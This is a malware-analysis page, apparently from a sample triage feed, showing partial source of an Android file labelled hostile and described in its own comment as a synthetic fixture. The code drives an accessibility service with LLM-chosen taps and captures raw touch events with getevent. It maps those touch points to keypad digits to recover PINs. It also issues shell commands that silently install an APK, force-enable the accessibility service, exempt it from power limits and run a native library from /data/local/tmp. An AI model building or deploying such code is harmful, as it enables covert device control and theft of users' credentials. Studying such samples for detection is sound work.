Hostile 100% java Download

AdaptiveTouchCredentialAgent.java

Credential theft, persistence, evasion

ADB agent bypasses the Accessibility restrictionReconstructs credentials from raw touch geometry
SHA-25610b6c3a9d362cc1c014c19b831856e22a1c3c3defe817e2f8c86efe520465877

Evidence

Credential type denotes touch-point recovery lines 1–39
1import android.accessibilityservice.AccessibilityService;
2import android.provider.Settings;
3import android.view.accessibility.AccessibilityNodeInfo;
4import okhttp3.OkHttpClient;
5import okhttp3.Request;
6
7import java.util.Map;
8
9// Synthetic behavior fixture inspired by the RatHat research. It deliberately
10// combines model-directed Accessibility control with shell-level raw-touch
11// collection and keypad-geometry credential recovery.
12public final class AdaptiveTouchCredentialAgent extends AccessibilityService {
13 private static final String MODEL_URL =
14 "https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash-lite:generateContent";
15 private static final String UI_PROMPT =
16 "UI XML action_type tap swipe; return JSON status COMPLETED or IN_PROGRESS";
17 private static final String TOUCH_CAPTURE =
18 "shell:getevent -lt /dev/input/event* ABS_MT_POSITION_X ABS_MT_POSITION_Y";
19 private static final String CREDENTIAL_KIND = "PASSWORD_QUALITY_TOUCH_POINTS";
20 private static final String KEYPAD_GEOMETRY = "pinKeypadLayoutGeometry";
21
22 private final OkHttpClient client = new OkHttpClient();
23
24 void automateWithModel() throws Exception {
25 AccessibilityNodeInfo root = getRootInActiveWindow();
26 String uiXml = dumpUiXml(root);
27 String status = "IN_PROGRESS";
28
29 while (!"COMPLETED".equals(status)) {
30 Request request = new Request.Builder().url(MODEL_URL).build();
31 String responseJson = client.newCall(request).execute().body().string();
32 Map<String, Object> action = parseJson(responseJson);
33 status = (String) action.get("status");
34 root.performAction(AccessibilityNodeInfo.ACTION_CLICK);
35 dispatchGesture(buildTapGesture(action), null, null);
36 }
37 }
38
39 Stri …
Maps touch coordinates to credential keys lines 41–61
41:42… "ABS_MT_POSITION_Y");
42 Map<String, Rectangle> keypadLayout = loadLayout(KEYPAD_GEOMETRY);
43 String recoveredPin = mapTouchPointToKeypadDigit(x, y, keypadLayout);
44 return CREDENTIAL_KIND + ":" + recoveredPin;
45 }
46
47 void retainShellPersistence(String packageName, String serviceName) {
48 openStream("shell:pm install -r -g -i com.android.packageinstaller /data/local/tmp/app.apk");
49 openStream("shell:settings put secure enabled_accessibility_services " + serviceName);
50 openStream("shell:settings put secure accessibility_enabled 1");
51 openStream("shell:dumpsys deviceidle whitelist +" + packageName);
52 openStream("shell:/data/local/tmp/liblocal-service.so");
53 }
54
55 void openDeveloperOptions() {
56 String action = Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS;
57 findAccessibilityNodeInfosByText("Wireless debugging");
58 }
59
60 private String dumpUiXml(AccessibilityNodeInfo root) { return "<hierarchy/>"; }
61 private M …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.